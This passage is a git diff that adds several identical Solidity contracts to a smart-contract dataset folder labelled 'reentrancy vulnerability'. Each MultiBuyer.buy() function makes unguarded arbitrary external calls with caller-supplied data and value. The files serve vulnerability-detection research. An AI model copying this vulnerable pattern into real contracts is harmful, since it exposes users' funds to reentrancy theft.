0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/24520.sol b/smart_contract_dataset/reentrancy vulnerability/24520.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/24520.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/268.sol b/smart_contract_dataset/reentrancy vulnerability/268.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/268.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/31620.sol b/smart_contract_dataset/reentrancy vulnerability/31620.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/31620.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/31624.sol b/smart_contract_dataset/reentrancy vulnerability/31624.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/31624.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No 